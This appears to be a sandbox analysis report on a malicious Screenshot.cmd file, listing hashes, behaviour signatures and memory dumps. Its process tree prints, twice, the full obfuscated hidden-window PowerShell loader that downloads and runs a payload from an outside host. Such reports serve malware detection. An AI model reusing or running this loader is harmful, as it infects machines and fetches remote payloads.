0953026a91f39a9b3e0780369549b976b2f143d749f4f627791b3bc11478f1fa

General

Target

Screenshot.cmd
Size

5KB
MD5

6e7d0ea1f1c5cce1b3ff80a84c7cb6c2
SHA1

5f0ab2816f8373482c18891a8a1282ebfba9a1e2
SHA256

0953026a91f39a9b3e0780369549b976b2f143d749f4f627791b3bc11478f1fa
SHA512

0a160372609fb1f30094a78682ff3e284bc8f2296805eb8ca29bbbd5b6f9b05feb90c20a31a19872c0b7a771f6c7c18ed2e01395c1ec331abfd6e99985c1ebd0
SSDEEP

96:AzIT7hGsfhmO8ZdlNfpgUeCkxtPOVkxoW2Ofx6MHfQ3KlbB+D77VqBnTnScQ:AzKkNbl/HbAqgx6MHfMKCD7+nTnzQ

Score

1^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1832	powershell.exe
3064	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1832	powershell.exe
Token: SeDebugPrivilege	3064	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2076 wrote to memory of 1832	2076	cmd.exe	29
PID 2076 wrote to memory of 1832	2076	cmd.exe	29
PID 2076 wrote to memory of 1832	2076	cmd.exe	29
PID 1832 wrote to memory of 3064	1832	powershell.exe	32
PID 1832 wrote to memory of 3064	1832	powershell.exe	32
PID 1832 wrote to memory of 3064	1832	powershell.exe	32
PID 1832 wrote to memory of 3064	1832	powershell.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Screenshot.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "gal;gal;gal;gal;gal;gal;gal;gal;gal;Function Supportere9 ($Caprimulgidae){$Leguatia93 = $Caprimulgidae.Length-1; For ($Thermomigrate=4; $Thermomigrate -lt $Leguatia93){$Tetroxide=$Tetroxide+$Caprimulgidae.Substring( $Thermomigrate, 1);$Thermomigrate+=5;}$Tetroxide;}$Akslen=Supportere9 'ProlhSladt CaitUndepUbilsJrdi:Kvin/ Tab/ChemwVulgiCentnFagmdRaceeDdcorCarbsDermw Lhoo Aran EnudHomoe PawrBrowsBeti.Krysc EnsoSynomBass/SpilJ UndK Edu/LimaSMeditGallaShaknAntek Ind.Skruablaaf OutmAfsp ';$Tetroxide01=Supportere9 ' Ampi SedeFolixTill ';$Indberetningernes = Supportere9 'Lait\Recrs ImpyOpstsDentwBiotolugtw vol6Holm4Forl\AtomWGrupiPortnRehedmaxioOctawWoomsPerfPAquaoOutfwBedseusporstroSkemihUnmiepotelVejrlSeis\GeocvLinc1Elev.depo0Seks\Diampfotoo NonwDephepararErics KolhSlateRoadl Acelskra.Batie HolxHesteStem ';.($Tetroxide01) (Supportere9 'Flan$PaspUReinnSynkdAntieSnipraabed SaleSoler Diss PectOveriSlynmBlamu anslEmbaa SamtGnaviTubuoNemmntilkeShelr DumsKart2 Kis=Uter$ForserewenCreavKobb:GeorwBladi BronEndedAdoliNonhrAfmy ') ;.($Tetroxide01) (Supportere9 'Publ$TankIPantnDykkdLnskbSikaeHelmrTraneCrypt MycnLiveiStrinSdcegPercegabarBrucnLosseMerosCocc=Bris$GelaULimnn Damd DigeDaarr BacdEfteeLamirPyrosOvertDestiHardmMassuFlaglAeroa Anttsidei GleoPrecnEufoeAlacrKravsMill2Disi+asse$FthcI pelnmilidUdbubsporeobskrrefleOysttTrilnTaboiGrayn Skrg vageBlocrUnstnCakceResosPara ') ;.($Tetroxide01) (Supportere9 'Jnan$ MilSBkaryFilmgNonleDanim TraeAbedlMonodNorde Ove Schi=Blaa Ager(Drme(Antigpearwkerkm Smuiverr KlydwSlagiHalvnLade3 inc2Repr_BentpKomprHypoo TracHngee Diasapias For Subj-DiplFBogs PeleP SolrLemooHautcStane MassTiggsMineI OopdSchm=Bits$Patr{TillPTurnICoagDPara}Indi)Samm. DueCTndeoSvovmSimumIsolaUrprn VagdNattLcursi Tiln KomeAnti)Pear Comp-WinssTerap SldlNighiKljetFemg Mote[StutcUnavh GraaAlkorLgeh]Greg3 Eth4Radi ');.($Tetroxide01) (Supportere9 ' Reg$YartU SicnBasndTorueshamrKnalt varrBundySekukScalkStoreLazadAmeneOpti Jahv=Morg Varm$BenzSToasyBoblgPangeWaltm ZymeBgerlOverdResteSyku[Clof$skinSMetayRetrgUnsqetougmNonje renlLogid FryeLitu. trycNysso RecuBrann krbtSpal-Ling2 Aab] Lyn ');.($Tetroxide01) (Supportere9 'Barw$DrivDApheiElsksStadkFuglrHemaiHexam MuliPachn GuleEsrorIberi garnEssag UdpsSlog=Post(CroqTMalue Udls Pret Tje-LascPNoneaperctAnchh lyk Petr$ubunITeatnRooddStjkbbogkeBarbrSkine PretMoulnGermiLdrenMiddggrote GrarSepanbrodeSnigsVibi)Hvis Pref-KaleAProjnBurndVand Feud(Mete[ KraI LannElectSnotPTicktLejer Car]Daad: cox:Awols Stri binzPeaveEvoc Int- ReveMisiqBone Aab8Outr)Keel ') ;if ($Diskriminerings) {.$Indberetningernes $Undertrykkede;} else {;$Tetroxide00=Supportere9 ' MelSIdent Tatatitlr SmatTamm-TaraBPersiFeattArtisUnhuTHerrr FeraSupen BensIdylfStiveStejrBrin Rail-ShekSSordo ParuSplarLairc ShyeProc Umus$ AnsA IndkAfbrsOpreltandeHimmnYuga Tort-SinuDOospeStrasSlavtJailiUdsknBrilaCodatIndfi DomoTeksnSpin Vend$LensURgisnLanddBardeomstrUncedHypoePrefrSminsGrewtChokiTiltmtombu Advl CeraDagstHumii Reso PosnBouteTrkurgrunsAnsv2Simp ';.($Tetroxide01) (Supportere9 'Affa$FellUAchenPapedLysseExtrrGreadkejseUnrerSubpsSupetKonjiRhynmBurnuZoollQuinaHalvtAcroiTilmo KornTilkeTalersmocs Ove2 orf=subf$GlamehvidnRegivSwin: VaaaRemapHypopRepodsyndaGryntPseuaUnde ') ;.($Tetroxide01) (Supportere9 ' angIHovemTotapComiosennr Flut Coo-sugaMProtoRetsdEmbeuPilflConve clo ChrBskruiMinitUndesAlloTHaver PolaDiscnBransUdlbfHumpeFllergrun ') ;$Underderstimulationers2=$Underderstimulationers2+'\Overskudsdelings.Fat';while (-not $Donzella) {.($Tetroxide01) (Supportere9 ' Dif$AfdaD Geno BeanAfsuzTskeeBordlSsonlAntia Pia= Vog(OcksT MooePeafsMuonthype-YamsPReeta AsttFotoh Eft Subr$GrimUIntenGevkdNonce TnkrSupedKlapeIntrr ProsVacctLogiiflesmGanguOrdllMedeaAttrtBilliMordo ConnThreeYukorPyrasfore2 Red) Ama ') ;.($Tetroxide01) $Tetroxide00;.($Tetroxide01) (Supportere9 ' WelS BrotForhaProtrSteetFare- AntSUkullNondeBreeeSkinp byg goph5Kiks ');}.($Tetroxide01) (Supportere9 'Grou$SectSUdbyuPeptp excpKrokoUnder Bert InfeMessr FlaeBarn Aftr=Blis TyveGLupue indtDriv-ProvC FuroReminReditAxoneFumenRitztLogr Ride$tireUSplenBegod sureSchwrSpirdUnreeYardrNaiasSpultPanniildemFlonuDipllMajeaBanat Symi DgeoParanIndoeUdtrr BlasDima2Outk ');.($Tetroxide01) (Supportere9 ' Las$betaOpompvdeteeOptarMarcmMangoCorruCelenKonktKomtsRegn Hju=pris Whi[UdveSAgaoy Subs ZaktDermeAnnumIsop.PathC NonoRecenunsovSootedelerIngetKvad]Egen:Sabe:ArbeFCancr Misosialm GldBSejraAfdrsCurle Top6Keci4ReprSSlagtPyrorDeriiPolynSkumg Pos(soci$YuncSAfstuCrysp Petp LkaoHankrArcht GroeAlgerClake Sub)Tabo ');.($Tetroxide01) (Supportere9 'Phar$UbetTgelaeIncrtSugerInteo NidxArseiregndLaybeforv2desm Kitt=Kani Alle[kjerSAntayHalssAftatRetoeSjipmlivs. PalTFenreBlodxQuattLeat.AfisEVaganOctocNettoYfrid FejimusenCharg Shi]Vlet:Spri:MargA UkrSSlicCInteIFeriIOver.GastGGdseePanctlignSThantAdver DemiReminMedig Lis(Kryp$ StoOMiscvKlveeAvisrWahimMelioFiskuDetenFolktvokss Ove)Kirk ');.($Tetroxide01) (Supportere9 ' Uns$ApopU smenPashsmicrcFredrOveru HempCubauRatilFundoForkuFairsMilj=Brum$SpilTIndvePizztDuodrSyntoDecexbibaiKnapdMeteeAero2Simo.HarpsBackuLderbTillsDriktCecirAffaiDrivnRemrgMant(Outs3Simp2Part9Sode4Tita1Than4 Nar,Mose2Semi6Phia6 Sam1Evel6Cast)Inof ');.($Tetroxide01) $Unscrupulous;}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1832
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "gal;gal;gal;gal;gal;gal;gal;gal;gal;Function Supportere9 ($Caprimulgidae){$Leguatia93 = $Caprimulgidae.Length-1; For ($Thermomigrate=4; $Thermomigrate -lt $Leguatia93){$Tetroxide=$Tetroxide+$Caprimulgidae.Substring( $Thermomigrate, 1);$Thermomigrate+=5;}$Tetroxide;}$Akslen=Supportere9 'ProlhSladt CaitUndepUbilsJrdi:Kvin/ Tab/ChemwVulgiCentnFagmdRaceeDdcorCarbsDermw Lhoo Aran EnudHomoe PawrBrowsBeti.Krysc EnsoSynomBass/SpilJ UndK Edu/LimaSMeditGallaShaknAntek Ind.Skruablaaf OutmAfsp ';$Tetroxide01=Supportere9 ' Ampi SedeFolixTill ';$Indberetningernes = Supportere9 'Lait\Recrs ImpyOpstsDentwBiotolugtw vol6Holm4Forl\AtomWGrupiPortnRehedmaxioOctawWoomsPerfPAquaoOutfwBedseusporstroSkemihUnmiepotelVejrlSeis\GeocvLinc1Elev.depo0Seks\Diampfotoo NonwDephepararErics KolhSlateRoadl Acelskra.Batie HolxHesteStem ';.($Tetroxide01) (Supportere9 'Flan$PaspUReinnSynkdAntieSnipraabed SaleSoler Diss PectOveriSlynmBlamu anslEmbaa SamtGnaviTubuoNemmntilkeShelr DumsKart2 Kis=Uter$ForserewenCreavKobb:GeorwBladi BronEndedAdoliNonhrAfmy ') ;.($Tetroxide01) (Supportere9 'Publ$TankIPantnDykkdLnskbSikaeHelmrTraneCrypt MycnLiveiStrinSdcegPercegabarBrucnLosseMerosCocc=Bris$GelaULimnn Damd DigeDaarr BacdEfteeLamirPyrosOvertDestiHardmMassuFlaglAeroa Anttsidei GleoPrecnEufoeAlacrKravsMill2Disi+asse$FthcI pelnmilidUdbubsporeobskrrefleOysttTrilnTaboiGrayn Skrg vageBlocrUnstnCakceResosPara ') ;.($Tetroxide01) (Supportere9 'Jnan$ MilSBkaryFilmgNonleDanim TraeAbedlMonodNorde Ove Schi=Blaa Ager(Drme(Antigpearwkerkm Smuiverr KlydwSlagiHalvnLade3 inc2Repr_BentpKomprHypoo TracHngee Diasapias For Subj-DiplFBogs PeleP SolrLemooHautcStane MassTiggsMineI OopdSchm=Bits$Patr{TillPTurnICoagDPara}Indi)Samm. DueCTndeoSvovmSimumIsolaUrprn VagdNattLcursi Tiln KomeAnti)Pear Comp-WinssTerap SldlNighiKljetFemg Mote[StutcUnavh GraaAlkorLgeh]Greg3 Eth4Radi ');.($Tetroxide01) (Supportere9 ' Reg$YartU SicnBasndTorueshamrKnalt varrBundySekukScalkStoreLazadAmeneOpti Jahv=Morg Varm$BenzSToasyBoblgPangeWaltm ZymeBgerlOverdResteSyku[Clof$skinSMetayRetrgUnsqetougmNonje renlLogid FryeLitu. trycNysso RecuBrann krbtSpal-Ling2 Aab] Lyn ');.($Tetroxide01) (Supportere9 'Barw$DrivDApheiElsksStadkFuglrHemaiHexam MuliPachn GuleEsrorIberi garnEssag UdpsSlog=Post(CroqTMalue Udls Pret Tje-LascPNoneaperctAnchh lyk Petr$ubunITeatnRooddStjkbbogkeBarbrSkine PretMoulnGermiLdrenMiddggrote GrarSepanbrodeSnigsVibi)Hvis Pref-KaleAProjnBurndVand Feud(Mete[ KraI LannElectSnotPTicktLejer Car]Daad: cox:Awols Stri binzPeaveEvoc Int- ReveMisiqBone Aab8Outr)Keel ') ;if ($Diskriminerings) {.$Indberetningernes $Undertrykkede;} else {;$Tetroxide00=Supportere9 ' MelSIdent Tatatitlr SmatTamm-TaraBPersiFeattArtisUnhuTHerrr FeraSupen BensIdylfStiveStejrBrin Rail-ShekSSordo ParuSplarLairc ShyeProc Umus$ AnsA IndkAfbrsOpreltandeHimmnYuga Tort-SinuDOospeStrasSlavtJailiUdsknBrilaCodatIndfi DomoTeksnSpin Vend$LensURgisnLanddBardeomstrUncedHypoePrefrSminsGrewtChokiTiltmtombu Advl CeraDagstHumii Reso PosnBouteTrkurgrunsAnsv2Simp ';.($Tetroxide01) (Supportere9 'Affa$FellUAchenPapedLysseExtrrGreadkejseUnrerSubpsSupetKonjiRhynmBurnuZoollQuinaHalvtAcroiTilmo KornTilkeTalersmocs Ove2 orf=subf$GlamehvidnRegivSwin: VaaaRemapHypopRepodsyndaGryntPseuaUnde ') ;.($Tetroxide01) (Supportere9 ' angIHovemTotapComiosennr Flut Coo-sugaMProtoRetsdEmbeuPilflConve clo ChrBskruiMinitUndesAlloTHaver PolaDiscnBransUdlbfHumpeFllergrun ') ;$Underderstimulationers2=$Underderstimulationers2+'\Overskudsdelings.Fat';while (-not $Donzella) {.($Tetroxide01) (Supportere9 ' Dif$AfdaD Geno BeanAfsuzTskeeBordlSsonlAntia Pia= Vog(OcksT MooePeafsMuonthype-YamsPReeta AsttFotoh Eft Subr$GrimUIntenGevkdNonce TnkrSupedKlapeIntrr ProsVacctLogiiflesmGanguOrdllMedeaAttrtBilliMordo ConnThreeYukorPyrasfore2 Red) Ama ') ;.($Tetroxide01) $Tetroxide00;.($Tetroxide01) (Supportere9 ' WelS BrotForhaProtrSteetFare- AntSUkullNondeBreeeSkinp byg goph5Kiks ');}.($Tetroxide01) (Supportere9 'Grou$SectSUdbyuPeptp excpKrokoUnder Bert InfeMessr FlaeBarn Aftr=Blis TyveGLupue indtDriv-ProvC FuroReminReditAxoneFumenRitztLogr Ride$tireUSplenBegod sureSchwrSpirdUnreeYardrNaiasSpultPanniildemFlonuDipllMajeaBanat Symi DgeoParanIndoeUdtrr BlasDima2Outk ');.($Tetroxide01) (Supportere9 ' Las$betaOpompvdeteeOptarMarcmMangoCorruCelenKonktKomtsRegn Hju=pris Whi[UdveSAgaoy Subs ZaktDermeAnnumIsop.PathC NonoRecenunsovSootedelerIngetKvad]Egen:Sabe:ArbeFCancr Misosialm GldBSejraAfdrsCurle Top6Keci4ReprSSlagtPyrorDeriiPolynSkumg Pos(soci$YuncSAfstuCrysp Petp LkaoHankrArcht GroeAlgerClake Sub)Tabo ');.($Tetroxide01) (Supportere9 'Phar$UbetTgelaeIncrtSugerInteo NidxArseiregndLaybeforv2desm Kitt=Kani Alle[kjerSAntayHalssAftatRetoeSjipmlivs. PalTFenreBlodxQuattLeat.AfisEVaganOctocNettoYfrid FejimusenCharg Shi]Vlet:Spri:MargA UkrSSlicCInteIFeriIOver.GastGGdseePanctlignSThantAdver DemiReminMedig Lis(Kryp$ StoOMiscvKlveeAvisrWahimMelioFiskuDetenFolktvokss Ove)Kirk ');.($Tetroxide01) (Supportere9 ' Uns$ApopU smenPashsmicrcFredrOveru HempCubauRatilFundoForkuFairsMilj=Brum$SpilTIndvePizztDuodrSyntoDecexbibaiKnapdMeteeAero2Simo.HarpsBackuLderbTillsDriktCecirAffaiDrivnRemrgMant(Outs3Simp2Part9Sode4Tita1Than4 Nar,Mose2Semi6Phia6 Sam1Evel6Cast)Inof ');.($Tetroxide01) $Unscrupulous;}"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3064

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HNC3U55EXIRFXGQUJMSQ.temp

Filesize
7KB

MD5
deab4301deaaa1ba563e0220b1507b11

SHA1
5ffc0df48292bac7a59b07e7e8a96c9b730a243d

SHA256
222b3e0077eb0fb54d4c099cb0f6ea00fef562a540273f5fb33faa885615f84d

SHA512
86b16addf7566b1eda07267357a7f81f734c97d6eb09b6d34447acf223b363c8655491e185d3b4ea48c7d443ea7a6f45631aadfc78b476f2a843f127f3a66f75

Download Submit
memory/1832-29-0x0000000002E00000-0x0000000002E80000-memory.dmp

Filesize
512KB

Download
memory/1832-28-0x0000000002E00000-0x0000000002E80000-memory.dmp

Filesize
512KB

Download
memory/1832-7-0x0000000002E00000-0x0000000002E80000-memory.dmp

Filesize
512KB

Download
memory/1832-8-0x000007FEF5B30000-0x000007FEF64CD000-memory.dmp

Filesize
9.6MB

Download
memory/1832-9-0x0000000002E00000-0x0000000002E80000-memory.dmp

Filesize
512KB

Download
memory/1832-11-0x0000000002E00000-0x0000000002E80000-memory.dmp

Filesize
512KB

Download
memory/1832-10-0x0000000002E00000-0x0000000002E80000-memory.dmp

Filesize
512KB

Download
memory/1832-5-0x000007FEF5B30000-0x000007FEF64CD000-memory.dmp

Filesize
9.6MB

Download
memory/1832-30-0x0000000002E00000-0x0000000002E80000-memory.dmp

Filesize
512KB

Download
memory/1832-4-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/1832-6-0x00000000021D0000-0x00000000021D8000-memory.dmp

Filesize
32KB

Download
memory/1832-27-0x000007FEF5B30000-0x000007FEF64CD000-memory.dmp

Filesize
9.6MB

Download
memory/3064-17-0x0000000073620000-0x0000000073BCB000-memory.dmp

Filesize
5.7MB

Download
memory/3064-15-0x0000000002A80000-0x0000000002AC0000-memory.dmp

Filesize
256KB

Download
memory/3064-16-0x0000000002A80000-0x0000000002AC0000-memory.dmp

Filesize
256KB

Download
memory/3064-14-0x0000000073620000-0x0000000073BCB000-memory.dmp

Filesize
5.7MB

Download
memory/3064-31-0x0000000073620000-0x0000000073BCB000-memory.dmp

Filesize
5.7MB

Download
memory/3064-32-0x0000000002A80000-0x0000000002AC0000-memory.dmp

Filesize
256KB

Download
memory/3064-33-0x0000000073620000-0x0000000073BCB000-memory.dmp

Filesize
5.7MB

Download
memory/3064-34-0x0000000002A80000-0x0000000002AC0000-memory.dmp

Filesize
256KB

Download
memory/3064-35-0x0000000002A80000-0x0000000002AC0000-memory.dmp

Filesize
256KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads